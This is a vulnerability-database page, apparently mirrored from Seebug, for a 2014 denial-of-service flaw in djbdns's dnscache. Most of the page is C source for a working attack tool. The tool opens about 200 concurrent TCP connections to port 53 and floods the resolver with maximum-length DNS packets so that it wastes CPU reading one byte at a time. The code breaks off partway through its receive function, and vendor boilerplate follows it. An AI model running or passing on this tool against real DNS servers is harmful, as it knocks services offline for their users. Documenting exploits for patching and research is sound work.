Lucene search
K

djbdns超长消息处理拒绝服务漏洞

🗓️ 20 Feb 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

djbdns Long Message Handling DoS Vulnerabilit

Code

                                                /*
 * dnscache reads incoming TCP connections one byte at a time
 * (see t_rw() function in dnscache.c), so that a single TCP packet can
 * trigger up to 65538 calls to poll() and 65538 calls to read(), thus
 * quickly burning a lot of CPU cycles.
 * 
 * fix: http://download.pureftpd.org/misc/dnscache-dont-read-tcp-one-byte-at-a-time.diff
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <assert.h>
#include <errno.h>
#include <netdb.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define DEFAULT_CONCURRENT_CONNECTIONS 200U
#define DELAY_BETWEEN_CONNECTIONS 100
#define TIMEOUT 10
#define REMOTE_PORT "53"

typedef enum State_ {
    STATE_FREE, STATE_CONNECTING, STATE_CONNECTED, STATE_SENDING,
    STATE_RECEIVING
} State;

typedef struct Connection_ {
    char                   reply_buf[65536U + 2U];
    const struct addrinfo *ai;
    struct pollfd         *poll_fd;
    size_t                 pos;
    int                    fd;
    State                  state;
} Connection;

/* Just a google.com request */

static const unsigned char dummy_packet[65535U + 2U] = {
    0xff, 0xff,
    0x5c, 0x9e, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x06, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x03, 0x63, 0x6f, 0x6d, 0x00,
    0x00, 0x01, 0x00, 0x01
};

static int connection_send(Connection * const connection);

static volatile sig_atomic_t quit_pending;

static int
bump_and_show_connections_count(void)
{
    static unsigned int connections_count;
    static time_t       ts_last;
    time_t              ts_now;

    connections_count++;
    time(&ts_now);
    if (ts_last != ts_now) {
        printf("\rNumber of requests made so far: %u", connections_count);
        fflush(stdout);
        ts_last = ts_now;
    }
    return 0;
}

static struct addrinfo *
resolve(const char * const host, const char * const port)
{
    struct addrinfo *ai, hints;
    int              gai_err;

    memset(&hints, 0, sizeof hints);
    hints.ai_family = AF_UNSPEC;
    hints.ai_flags = 0;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;
    gai_err = getaddrinfo(host, port, &hints, &ai);
    if (gai_err != 0) {
        fprintf(stderr, "[%s]: %s\n", host, gai_strerror(gai_err));
        ai = NULL;
    }
    return ai;
}

static int
connection_close(Connection * const connection)
{
    int close_ret;

    while ((close_ret = close(connection->fd)) != 0 && errno == EINTR);
    assert(close_ret == 0);
    connection->state = STATE_FREE;
    connection->poll_fd->events = 0;

    return 0;
}

static int
connection_connect(Connection * const connection)
{
    struct timeval         tv = { .tv_sec = TIMEOUT, .tv_usec = 0 };
    const struct addrinfo *ai = connection->ai;
    int                    connect_ret;
    int                    fd;

    bump_and_show_connections_count();
    fd = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol);
    assert(fd != -1);
    assert(ioctl(fd, FIONBIO, (int []) { 1 }) == 0);
    setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof tv);
    setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof tv);
    connection->state = STATE_FREE;
    connection->fd = fd;
    connection->pos = (size_t) 0U;
    *connection->poll_fd = (struct pollfd) {
        .fd = fd,
        .events = POLLOUT,
        .revents = 0
    };
    do {
        connect_ret =
            connect(fd, (const struct sockaddr *) connection->ai->ai_addr,
                    connection->ai->ai_addrlen);
    } while (connect_ret != 0 && errno == EINTR);
    if (connect_ret == 0) {
        connection->state = STATE_CONNECTED;
        connection_send(connection);
        return 0;
    }
    if (errno == ECONNRESET) {
        return -1;
    }
    assert(errno == EINPROGRESS);
    connection->state = STATE_CONNECTING;

    return 0;
}

static int
connection_rearm(Connection * const connection)
{
    return !(connection_close(connection) == 0 &&
             connection_connect(connection) == 0);
}

static int
connection_send(Connection * const connection)
{
    ssize_t written;

    assert((connection->poll_fd->events & POLLOUT) != 0);
    do {
        written = write(connection->fd, dummy_packet,
                        sizeof dummy_packet - connection->pos);
        if (written == (ssize_t) -1) {
            switch (errno) {
            case EAGAIN:
                connection->state = STATE_SENDING;
                return -1;
            case EBADF:
            case ECONNRESET:
#ifdef ENOTCONN
            case ENOTCONN:
#endif
                connection_rearm(connection);
                return -1;
            case EINTR:
                continue;
            default:
                assert(0);
            }
        }
        connection->pos += (size_t) written;
    } while (connection->pos < sizeof dummy_packet);
    connection->poll_fd->events = POLLIN;
    connection->poll_fd->revents = 0;
    connection->state = STATE_RECEIVING;

    return 0;
}

static int
connection_receive(Connection * const connection)
{
    ssize_t readnb;

    for(;;) {
        readnb = read(connection->fd, connection->reply_buf,
                      sizeof connection->reply_buf);
        if (readnb == (ssize_t) -1) {
            switch (errno) {
            case EBADF:
            case ECONNRESET:
#ifdef ENOTCONN
            case ENOTCONN:
#endif
                connection_rearm(connection);
            case EINTR:
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Feb 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11